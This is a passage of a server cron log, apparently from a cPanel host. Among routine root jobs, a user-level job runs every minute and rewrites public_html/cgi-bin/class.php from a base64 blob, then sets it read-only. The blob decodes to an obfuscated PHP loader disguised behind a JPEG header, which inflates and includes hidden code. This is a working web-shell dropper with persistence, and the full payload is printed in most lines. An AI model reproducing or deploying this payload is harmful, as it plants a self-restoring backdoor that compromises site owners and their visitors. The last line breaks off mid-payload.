Nov 10 04:24:01 server CROND[6632]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 10 04:25:01 server CROND[7441]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 10 04:25:01 server CROND[7442]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
Nov 10 04:25:01 server CROND[7443]: (root) CMD (/usr/local/cpanel/bin/mysqluserstore &gt;/dev/null 2&gt;&amp;1)
Nov 10 04:25:01 server CROND[7445]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
Nov 10 04:26:01 server CROND[8407]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 10 04:27:01 server CROND[9387]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue &gt; /dev/null 2&gt;&amp;1)
Nov 10 04:27:01 server CROND[9389]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 10 04:28:01 server CROND[10212]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 10 04:29:01 server CROND[10901]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 10 04:30:01 server CROND[11561]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Nov 10 04:30:01 server CROND[11565]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
Nov 10 04:30:01 server CROND[11567]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 10 04:30:01 server CROND[11570]: (mailman) CMD (/usr/local/cpanel/scripts/restartsrv_mailman --status &amp;&gt; /dev/null &amp;&amp; /usr/local/cpanel/3rdparty/bin/python2 -S /usr/local/cpanel/3rdparty/mailman/cron/cull_bad_shunt)
Nov 10 04:30:01 server CROND[11573]: (root) CMD (/usr/bin/test -x /usr/local/cpanel/scripts/update_db_cache &amp;&amp; /usr/local/cpanel/scripts/update_db_cache)
Nov 10 04:30:01 server CROND[11574]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
Nov 10 04:31:01 server CROND[12459]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 10 04:32:01 server CROND[13403]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 10 04:33:01 server CROND[14219]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 10 04:34:01 server CROND[15024]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 10 04:35:01 server CROND[15841]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
Nov 10 04:35:01 server CROND[15840]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2&gt;&amp;1)
Nov 10 04:35:01 server CROND[15844]: (root) CMD (/usr/bin/test -x /usr/local/cpanel/bin/tail-check &amp;&amp; /usr/local/cpanel/bin/tail-check)
Nov 10 04:35:01 server CROND[15846]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 10 04:35:01 server CROND[15845]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
Nov 10 04:36:01 server CROND[16726]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1